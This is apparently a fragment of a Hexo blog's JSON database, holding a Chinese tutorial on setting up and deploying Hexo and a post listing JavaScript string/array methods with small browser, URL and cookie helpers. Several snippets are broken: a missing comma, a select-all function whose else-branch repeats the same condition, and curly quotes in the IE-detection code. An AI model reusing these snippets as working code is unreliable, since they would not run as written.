2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"hexo-搭建博客初体验\"><a href=\"#hexo-搭建博客初体验\" class=\"headerlink\" title=\"hexo 搭建博客初体验\"></a>hexo 搭建博客初体验</h1><h2 id=\"安装-hexo\"><a href=\"#安装-hexo\" class=\"headerlink\" title=\"安装 hexo\"></a>安装 hexo</h2><pre><code>&gt; cnpm i hexo-cli -g\n报错的话就输入\n&gt; cnpm i hexo --save\n查看安装是否成功\n&gt; hexo -v\n</code></pre><h2 id=\"hexo配置\"><a href=\"#hexo配置\" class=\"headerlink\" title=\"hexo配置\"></a>hexo配置</h2><h3 id=\"hexo-初始化\"><a href=\"#hexo-初始化\" class=\"headerlink\" title=\"hexo 初始化\"></a>hexo 初始化</h3><pre><code>&gt; hexo init\n然后\n&gt; cnpm install\n到这里你差不多就可以看到效果了，如果你要连接 GitHub，就要往下继续 \n</code></pre><h3 id=\"连接-GitHub\"><a href=\"#连接-GitHub\" class=\"headerlink\" title=\"连接 GitHub\"></a>连接 GitHub</h3><p>在根目录打开 vim _config.yml，翻到最下面，改成我这样子的</p>\n<ul>\n<li>如果你是用 github 仓库 <blockquote>\n<p>deploy:<br>  type: git<br>  repo: <a href=\"https://git.coding.net/jzxer/jzxer.git\" target=\"_blank\" rel=\"noopener\">https://git.coding.net/jzxer/jzxer.git</a><br>  branch: master</p>\n</blockquote>\n</li>\n<li>如果你是用 coding 仓库<blockquote>\n<p>deploy:<br>  type: coding<br>  repo: <a href=\"https://github.com/j710328466/j710328466.github.io.git\" target=\"_blank\" rel=\"noopener\">https://github.com/j710328466/j710328466.github.io.git</a><br>  branch: master</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"安装依赖包\"><a href=\"#安装依赖包\" class=\"headerlink\" title=\"安装依赖包\"></a>安装依赖包</h3><pre><code>&gt; npm install hexo-deployer-git --save\n</code></pre><h2 id=\"开始\"><a href=\"#开始\" class=\"headerlink\" title=\"开始\"></a>开始</h2><pre><code>创建一篇新文章\n$ hexo new &quot;My New Post&quot;\n\n监听\n$ hexo server\n\n打包\n$ hexo generate\n\n上传\n$ hexo deploy\n</code></pre><h2 id=\"主题配置\"><a href=\"#主题配置\" class=\"headerlink\" title=\"主题配置\"></a>主题配置</h2><ul>\n<li>打开根目录下的vim _config.yml<blockquote>\n<p>theme: material<br>将主题改成你喜欢的</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"主题推荐\"><a href=\"#主题推荐\" class=\"headerlink\" title=\"主题推荐\"></a>主题推荐</h2><p>每个不同的主题会需要不同的配置，主题配置文件在主题目录下的 _config.yml。有两个比较好的主题推荐给大家。</p>\n<h3 id=\"Yilia\"><a href=\"#Yilia\" class=\"headerlink\" title=\"Yilia\"></a>Yilia</h3><p>Yilia 是为 hexo 2.4+ 制作的主题。<br>崇尚简约优雅，以及极致的性能。</p>\n<h3 id=\"NexT\"><a href=\"#NexT\" class=\"headerlink\" title=\"NexT\"></a>NexT</h3><p>目前Github上Star最高的Hexo主题，支持几种不同的风格。<br>作者提供了非常完善的配置说明。</p>\n<h3 id=\"Material\"><a href=\"#Material\" class=\"headerlink\" title=\"Material\"></a>Material</h3><p>原之质，物之渊<br>就是我现在用的这款，简洁大方，响应式设计。</p>\n"},{"title":"js中的一些方法和函数","date":"2017-10-22T01:45:11.000Z","_content":"\n## 原生 JS 一些方法和函数\n\n### 方法\n#### subStr(start, length)\n可以在字符串中抽取从 start下标开始的指定数目的字符\n> length可以不要，代表整个截取的长度\n\n#### slice(start, end)\n可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是\n> end 不包括end本身 \n\n#### split(separator, howmany)\n把字符串分割成字符串数组\n> separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量\n\n#### splice(index, howmany, item1...,itemX)\n从数组中添加/删除项目，然后返回被删除的项目\n> index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目\n\n#### replace('old', new)\n把字符串中老的字符替换成新的字符\n\n#### str1.concat(str2...strX)\n在原来的字符串基础上连接多个字符串，也可以连接数组\n\n#### str.match(Exp)\n找到一个或多个和正则表达式的匹配\n\n#### str.search(Exp)\n找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1\n\n#### toUpperCase() toLowerCase()\n字符串大小写切换\n\n#### trim（）\n去除字符串两边的空白\n\n#### arr.every(check)\n判断数组中的所有项是否都符合条件\n\n#### arr.fill('str')\n用字符串固定替换数组的元素\n\n#### oldArr.filter(function(currentValue, index, newArr), thisValue)\n创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合\n\n#### arr.join(separator)\n将数组转换成字符串，并用separator 分开，可以省略\n\n#### reverse()\n反转字符串或数组\n\n### 函数\n\n#### 判断客户端手机型号\n```\nvar BrowserInfo = {\n    userAgent: navigator.userAgent.toLowerCase()\n    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n```\n\n#### 获取 url 的参数\n```\nfunction getExp(name, url) {\n    var reg = new RegExp(\"(^|\\\\?|&)\" + name + \"=([^&]*)(\\\\s|&|$)\", \"i\")\n    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, \" \")) return \"\"\n}\n```\n\n#### 全屏显示\n```\nfunction launchFullScreen(element) {\n    if (element.requestFullScreen) {\n        element.requestFullScreen();\n    } else if (element.mozRequestFullScreen) {\n        element.mozRequestFullScreen();\n    } else if (element.webkitRequestFullScreen) {\n        element.webkitRequestFullScreen();\n    }\n}\n```\n\n#### 全选/全不选\n```\nfunction selectAll(objSelect) {\n    if(objSelect.checked == true) {\n        $(\"input[name='chkId']\").attr(\"checked\", true)\n        $(\"input[name='chkAll']\").attr(\"checked\", true)\n    } else if (objSelect.checked == true) {\n        $(\"input[name='chkId']\").attr(\"checked\", false)\n        $(\"input[name='chkAll']\").attr(\"checked\", false)\n    }\n}\n```\n\n#### 判断浏览器\n```\n<!--判断是否是 IE 浏览器-->\n    if (document.all){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n    if (!!window.ActiveXObject){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n<!--判断是IE几-->\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&&!window.XMLHttpRequest;\nvar isIE8=isIE&&!!document.documentMode;\nvar isIE7=isIE&&!isIE6&&!isIE8;\nif (isIE){\n    if (isIE6){\n        alert(”ie6″);\n    }else if (isIE8){\n        alert(”ie8″);\n    }else if (isIE7){\n        alert(”ie7″);\n    }\n}\n```\n\n#### js 写 cookie\n```\nfunction setCookie(name, value, expires, path, domain) {\n    if (!expires) expires = -1\n    if (!path) path = \"/\"\n    var d = \"\" + name + \"=\" + value\n    var e\n    if (expires < 0) {\n        e = \"\"\n    }\n    else if (expires == 0) {\n        var f = new Date(1970, 1, 1)\n        e = \";expires=\" + f.toUTCString()\n    }\n    else {\n        var now = new Date()\n        var f = new Date(now.getTime() + expires * 1000)\n        e = \";expires=\" + f.toUTCString()\n    }\n    var dm;\n    if (!domain) {\n        dm = \"\"\n    }\n    else {\n        dm = \";domain=\" + domain\n    }\n    document.cookie = name + \"=\" + value + \";path=\" + path + e + dm\n};\n```\n\n#### js 读 cookie\n```\nfunction readCookie(name) {\n    var nameEQ = name + \"=\"\n    var ca = document.cookie.split(';')\n    for (var i = 0; i < ca.length; i++) {\n        var c = ca[i]\n        while (c.charAt(0) == ' ') c = c.substring(1, c.length)\n        if (c.indexOf(nameEQ) == 0) {\n            return decodeURIComponent(c.substring(nameEQ.length, c.length))\n        }\n    } return null\n}\n```\n\n","source":"_posts/js中的一些方法和函数.md","raw":"---\ntitle: js中的一些方法和函数\ndate: 2017-10-22 09:45:11\ntags: [js, methods]\ncategories: web前端\n---\n\n## 原生 JS 一些方法和函数\n\n### 方法\n#### subStr(start, length)\n可以在字符串中抽取从 start下标开始的指定数目的字符\n> length可以不要，代表整个截取的长度\n\n#### slice(start, end)\n可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是\n> end 不包括end本身 \n\n#### split(separator, howmany)\n把字符串分割成字符串数组\n> separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量\n\n#### splice(index, howmany, item1...,itemX)\n从数组中添加/删除项目，然后返回被删除的项目\n> index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目\n\n#### replace('old', new)\n把字符串中老的字符替换成新的字符\n\n#### str1.concat(str2...strX)\n在原来的字符串基础上连接多个字符串，也可以连接数组\n\n#### str.match(Exp)\n找到一个或多个和正则表达式的匹配\n\n#### str.search(Exp)\n找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1\n\n#### toUpperCase() toLowerCase()\n字符串大小写切换\n\n#### trim（）\n去除字符串两边的空白\n\n#### arr.every(check)\n判断数组中的所有项是否都符合条件\n\n#### arr.fill('str')\n用字符串固定替换数组的元素\n\n#### oldArr.filter(function(currentValue, index, newArr), thisValue)\n创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合\n\n#### arr.join(separator)\n将数组转换成字符串，并用separator 分开，可以省略\n\n#### reverse()\n反转字符串或数组\n\n### 函数\n\n#### 判断客户端手机型号\n```\nvar BrowserInfo = {\n    userAgent: navigator.userAgent.toLowerCase()\n    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n```\n\n#### 获取 url 的参数\n```\nfunction getExp(name, url) {\n    var reg = new RegExp(\"(^|\\\\?|&)\" + name + \"=([^&]*)(\\\\s|&|$)\", \"i\")\n    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, \" \")) return \"\"\n}\n```\n\n#### 全屏显示\n```\nfunction launchFullScreen(element) {\n    if (element.requestFullScreen) {\n        element.requestFullScreen();\n    } else if (element.mozRequestFullScreen) {\n        element.mozRequestFullScreen();\n    } else if (element.webkitRequestFullScreen) {\n        element.webkitRequestFullScreen();\n    }\n}\n```\n\n#### 全选/全不选\n```\nfunction selectAll(objSelect) {\n    if(objSelect.checked == true) {\n        $(\"input[name='chkId']\").attr(\"checked\", true)\n        $(\"input[name='chkAll']\").attr(\"checked\", true)\n    } else if (objSelect.checked == true) {\n        $(\"input[name='chkId']\").attr(\"checked\", false)\n        $(\"input[name='chkAll']\").attr(\"checked\", false)\n    }\n}\n```\n\n#### 判断浏览器\n```\n<!--判断是否是 IE 浏览器-->\n    if (document.all){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n    if (!!window.ActiveXObject){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n<!--判断是IE几-->\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&&!window.XMLHttpRequest;\nvar isIE8=isIE&&!!document.documentMode;\nvar isIE7=isIE&&!isIE6&&!isIE8;\nif (isIE){\n    if (isIE6){\n        alert(”ie6″);\n    }else if (isIE8){\n        alert(”ie8″);\n    }else if (isIE7){\n        alert(”ie7″);\n    }\n}\n```\n\n#### js 写 cookie\n```\nfunction setCookie(name, value, expires, path, domain) {\n    if (!expires) expires = -1\n    if (!path) path = \"/\"\n    var d = \"\" + name + \"=\" + value\n    var e\n    if (expires < 0) {\n        e = \"\"\n    }\n    else if (expires == 0) {\n        var f = new Date(1970, 1, 1)\n        e = \";expires=\" + f.toUTCString()\n    }\n    else {\n        var now = new Date()\n        var f = new Date(now.getTime() + expires * 1000)\n        e = \";expires=\" + f.toUTCString()\n    }\n    var dm;\n    if (!domain) {\n        dm = \"\"\n    }\n    else {\n        dm = \";domain=\" + domain\n    }\n    document.cookie = name + \"=\" + value + \";path=\" + path + e + dm\n};\n```\n\n#### js 读 cookie\n```\nfunction readCookie(name) {\n    var nameEQ = name + \"=\"\n    var ca = document.cookie.split(';')\n    for (var i = 0; i < ca.length; i++) {\n        var c = ca[i]\n        while (c.charAt(0) == ' ') c = c.substring(1, c.length)\n        if (c.indexOf(nameEQ) == 0) {\n            return decodeURIComponent(c.substring(nameEQ.length, c.length))\n        }\n    } return null\n}\n```\n\n","slug":"js中的一些方法和函数","published":1,"updated":"2018-03-09T02:33:00.648Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4z000xvzqhcgxkz270","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"原生-JS-一些方法和函数\"><a href=\"#原生-JS-一些方法和函数\" class=\"headerlink\" title=\"原生 JS 一些方法和函数\"></a>原生 JS 一些方法和函数</h2><h3 id=\"方法\"><a href=\"#方法\" class=\"headerlink\" title=\"方法\"></a>方法</h3><h4 id=\"subStr-start-length\"><a href=\"#subStr-start-length\" class=\"headerlink\" title=\"subStr(start, length)\"></a>subStr(start, length)</h4><p>可以在字符串中抽取从 start下标开始的指定数目的字符</p>\n<blockquote>\n<p>length可以不要，代表整个截取的长度</p>\n</blockquote>\n<h4 id=\"slice-start-end\"><a href=\"#slice-start-end\" class=\"headerlink\" title=\"slice(start, end)\"></a>slice(start, end)</h4><p>可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是</p>\n<blockquote>\n<p>end 不包括end本身 </p>\n</blockquote>\n<h4 id=\"split-separator-howmany\"><a href=\"#split-separator-howmany\" class=\"headerlink\" title=\"split(separator, howmany)\"></a>split(separator, howmany)</h4><p>把字符串分割成字符串数组</p>\n<blockquote>\n<p>separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量</p>\n</blockquote>\n<h4 id=\"splice-index-howmany-item1…-itemX\"><a href=\"#splice-index-howmany-item1…-itemX\" class=\"headerlink\" title=\"splice(index, howmany, item1…,itemX)\"></a>splice(index, howmany, item1…,itemX)</h4><p>从数组中添加/删除项目，然后返回被删除的项目</p>\n<blockquote>\n<p>index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目</p>\n</blockquote>\n<h4 id=\"replace-‘old’-new\"><a href=\"#replace-‘old’-new\" class=\"headerlink\" title=\"replace(‘old’, new)\"></a>replace(‘old’, new)</h4><p>把字符串中老的字符替换成新的字符</p>\n<h4 id=\"str1-concat-str2…strX\"><a href=\"#str1-concat-str2…strX\" class=\"headerlink\" title=\"str1.concat(str2…strX)\"></a>str1.concat(str2…strX)</h4><p>在原来的字符串基础上连接多个字符串，也可以连接数组</p>\n<h4 id=\"str-match-Exp\"><a href=\"#str-match-Exp\" class=\"headerlink\" title=\"str.match(Exp)\"></a>str.match(Exp)</h4><p>找到一个或多个和正则表达式的匹配</p>\n<h4 id=\"str-search-Exp\"><a href=\"#str-search-Exp\" class=\"headerlink\" title=\"str.search(Exp)\"></a>str.search(Exp)</h4><p>找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1</p>\n<h4 id=\"toUpperCase-toLowerCase\"><a href=\"#toUpperCase-toLowerCase\" class=\"headerlink\" title=\"toUpperCase() toLowerCase()\"></a>toUpperCase() toLowerCase()</h4><p>字符串大小写切换</p>\n<h4 id=\"trim（）\"><a href=\"#trim（）\" class=\"headerlink\" title=\"trim（）\"></a>trim（）</h4><p>去除字符串两边的空白</p>\n<h4 id=\"arr-every-check\"><a href=\"#arr-every-check\" class=\"headerlink\" title=\"arr.every(check)\"></a>arr.every(check)</h4><p>判断数组中的所有项是否都符合条件</p>\n<h4 id=\"arr-fill-‘str’\"><a href=\"#arr-fill-‘str’\" class=\"headerlink\" title=\"arr.fill(‘str’)\"></a>arr.fill(‘str’)</h4><p>用字符串固定替换数组的元素</p>\n<h4 id=\"oldArr-filter-function-currentValue-index-newArr-thisValue\"><a href=\"#oldArr-filter-function-currentValue-index-newArr-thisValue\" class=\"headerlink\" title=\"oldArr.filter(function(currentValue, index, newArr), thisValue)\"></a>oldArr.filter(function(currentValue, index, newArr), thisValue)</h4><p>创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合</p>\n<h4 id=\"arr-join-separator\"><a href=\"#arr-join-separator\" class=\"headerlink\" title=\"arr.join(separator)\"></a>arr.join(separator)</h4><p>将数组转换成字符串，并用separator 分开，可以省略</p>\n<h4 id=\"reverse\"><a href=\"#reverse\" class=\"headerlink\" title=\"reverse()\"></a>reverse()</h4><p>反转字符串或数组</p>\n<h3 id=\"函数\"><a href=\"#函数\" class=\"headerlink\" title=\"函数\"></a>函数</h3><h4 id=\"判断客户端手机型号\"><a href=\"#判断客户端手机型号\" class=\"headerlink\" title=\"判断客户端手机型号\"></a>判断客户端手机型号</h4><pre><code>var BrowserInfo = {\n    userAgent: navigator.userAgent.toLowerCase()\n    isAndroid: Boolean(navigator.userAgent.match(/android/ig)),\n    isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)),\n    isIpad: Boolean(navigator.userAgent.match(/ipad/ig)),\n    isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),\n}\n</code></pre><h4 id=\"获取-url-的参数\"><a href=\"#获取-url-的参数\" class=\"headerlink\" title=\"获取 url 的参数\"></a>获取 url 的参数</h4><pre><code>function getExp(name, url) {\n    var reg = new RegExp(&quot;(^|\\\\?|&amp;)&quot; + name + &quot;=([^&amp;]*)(\\\\s|&amp;|$)&quot;, &quot;i&quot;)\n    if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\\+/g, &quot; &quot;)) return &quot;&quot;\n}\n</code></pre><h4 id=\"全屏显示\"><a href=\"#全屏显示\" class=\"headerlink\" title=\"全屏显示\"></a>全屏显示</h4><pre><code>function launchFullScreen(element) {\n    if (element.requestFullScreen) {\n        element.requestFullScreen();\n    } else if (element.mozRequestFullScreen) {\n        element.mozRequestFullScreen();\n    } else if (element.webkitRequestFullScreen) {\n        element.webkitRequestFullScreen();\n    }\n}\n</code></pre><h4 id=\"全选-全不选\"><a href=\"#全选-全不选\" class=\"headerlink\" title=\"全选/全不选\"></a>全选/全不选</h4><pre><code>function selectAll(objSelect) {\n    if(objSelect.checked == true) {\n        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, true)\n        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, true)\n    } else if (objSelect.checked == true) {\n        $(&quot;input[name=&#39;chkId&#39;]&quot;).attr(&quot;checked&quot;, false)\n        $(&quot;input[name=&#39;chkAll&#39;]&quot;).attr(&quot;checked&quot;, false)\n    }\n}\n</code></pre><h4 id=\"判断浏览器\"><a href=\"#判断浏览器\" class=\"headerlink\" title=\"判断浏览器\"></a>判断浏览器</h4><pre><code>&lt;!--判断是否是 IE 浏览器--&gt;\n    if (document.all){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n    if (!!window.ActiveXObject){\n        alert(”IE浏览器”);\n    }else{\n        alert(”非IE浏览器”);\n    }\n&lt;!--判断是IE几--&gt;\nvar isIE=!!window.ActiveXObject;\nvar isIE6=isIE&amp;&amp;!window.XMLHttpRequest;\nvar isIE8=isIE&amp;&amp;!!document.documentMode;\nvar isIE7=isIE&amp;&amp;!isIE6&amp;&amp;!isIE8;\nif (isIE){\n    if (isIE6){\n        alert(”ie6″);\n    }else if (isIE8){\n        alert(”ie8″);\n    }else if (isIE7){\n        alert(”ie7″);\n    }\n}\n</code></pre><h4 id=\"js-写-cookie\"><a href=\"#js-写-cookie\" class=\"headerlink\" title=\"js 写 cookie\"></a>js 写 cookie</h4><pre><code>function setCookie(name, value, expires, path, domain) {\n    if (!expires) expires = -1\n    if (!path) path = &quot;/&quot;\n    var d = &quot;&quot; + name + &quot;=&quot; + value\n    var e\n    if (expires &lt; 0) {\n        e = &quot;&quot;\n    }\n    else if (expires == 0) {\n        var f = new Date(1970, 1, 1)\n        e = &quot;;expires=&quot; + f.toUTCString()\n    }\n    else {\n        var now = new Date()\n        var f = new Date(now.getTime() + expires * 1000)\n        e = &quot;;expires=&quot; + f.toUTCString()\n    }\n    var dm;\n    if (!domain) {\n        dm = &quot;&quot;\n    }\n    else {\n        dm = &quot;;domain=&quot; + domain\n    }\n    document.cookie = name + &quot;=&quot; + value + &quot;;path=&quot; + path + e + dm\n};\n</code></pre><h4 id=\"js-读-cookie\"><a href=\"#js-读-cookie\" class=\"headerlink\" title=\"js 读 cookie\"></a>js 读 cookie</h4><pre><code>function readCookie(name) {\n    var nameEQ = name + &quot;=&quot;\n    var ca = document.cookie.split(&#39;;&#39;)\n    for (var i = 0; i &lt; ca.length; i++) {\n        var c = ca[i]\n        while (c.charAt(0) == &#39; &#39;) c = c.substring(1, c.length)\n        if (c.indexOf(nameEQ) == 0) {\n            return decodeURIComponent(c.substring(nameEQ.length, c.length))\n        }\n    } return null\n}\n</code></pre>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"原生-JS-一些方法和函数\"><a href=\"#原生-JS-一些方法和函数\" class=\"headerlink\" title=\"原生 JS 一些方法和函数\"></a>原生 JS 一些方法和函数</h2><h3 id=\"方法\"><a href=\"#方法\" class=\"headerlink\" title=\"方法\"></a>方法</h3><h4 id=\"subStr-start-length\"><a href=\"#subStr-start-length\" class=\"headerlink\" title=\"subStr(start, length)\"></a>subStr(start, length)</h4><p>可以在字符串中抽取从 start下标开始的指定数目的字符</p>\n<blockquote>\n<p>length可以不要，代表整个截取的长度</p>\n</blockquote>\n<h4 id=\"slice-start-end\"><a href=\"#slice-start-end\" class=\"headerlink\" title=\"slice(start, end)\"></a>slice(start, end)</h4><p>可以在数组 start 开始截取指定长度的数组，如果为负数就从最后一个开始，subStr也是</p>\n<blockquote>\n<p>end 不包括end本身 </p>\n</blockquote>\n<h4 id=\"split-separator-howmany\"><a href=\"#split-separator-howmany\" class=\"headerlink\" title=\"split(separator, howmany)\"></a>split(separator, howmany)</h4><p>把字符串分割成字符串数组</p>\n<blockquote>\n<p>separator 可以是字符串，也可以是正则，howmany 表示截取的长度不超过该数量</p>\n</blockquote>\n<h4 id=\"splice-index-howmany-item1…-itemX\"><a href=\"#splice-index-howmany-item1…-itemX\" class=\"headerlink\" title=\"splice(index, howmany, item1…,itemX)\"></a>splice(index, howmany, item1…,itemX)</h4><p>从数组中添加/删除项目，然后返回被删除的项目</p>\n<blockquote>\n<p>index 表示删除的位置，howmany 表示删除几项，如果为0表示不删除，item代表插入的项目</p>\n</blockquote>\n<h4 id=\"replace-‘old’-new\"><a href=\"#replace-‘old’-new\" class=\"headerlink\" title=\"replace(‘old’, new)\"></a>replace(‘old’, new)</h4><p>把字符串中老的字符替换成新的字符</p>\n<h4 id=\"str1-concat-str2…strX\"><a href=\"#str1-concat-str2…strX\" class=\"headerlink\" title=\"str1.concat(str2…strX)\"></a>str1.concat(str2…strX)</h4><p>在原来的字符串基础上连接多个字符串，也可以连接数组</p>\n<h4 id=\"str-match-Exp\"><a href=\"#str-match-Exp\" class=\"headerlink\" title=\"str.match(Exp)\"></a>str.match(Exp)</h4><p>找到一个或多个和正则表达式的匹配</p>\n<h4 id=\"str-search-Exp\"><a href=\"#str-search-Exp\" class=\"headerlink\" title=\"str.search(Exp)\"></a>str.search(Exp)</h4><p>找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1</p>\n<h4 id=\"toUpperCase-toLowerCase\"><a href=\"#toUpperCase-toLowerCase\" class=\"headerlink\" title=\"toUpperCase() toLowerCase()\"></a>toUpperCase() toLowerCase()</h4><p>字符串大小写切换</p>\n<h4 id=\"trim（）\"><a href=\"#trim（）\" class=\"headerlink\" title=\"trim（）\"></a>trim（）</h4><p>去除字符串两边的空白</p>\n<h4 id=\"arr-every-check\"><a href=\"#arr-every-check\" class=\"headerlink\" title=\"arr.every(check)\"></a>arr.every(check)</h4><p>判断数组中的所有项是否都符合条件</p>\n<h4 id=\"arr-fill-‘str’\"><a href=\"#arr-fill-‘str’\" class=\"headerlink\" title=\"arr.fill(‘str’)\"></a>arr.fill(‘str’)</h4><p>用字符串固定替换数组的元素</p>\n<h4 id=\"oldArr-filter-function-currentValue-index-newArr-thisValue\"><a href=\"#oldArr-filter-function-currentValue-index-newArr-thisValue\" class=\"headerlink\" title=\"oldArr.filter(function(currentValue, index, newArr), thisValue)\"></a>oldArr.filter(function(currentValue, index, newArr), thisValue)</h4><p>创建一个新的数组 newArr, 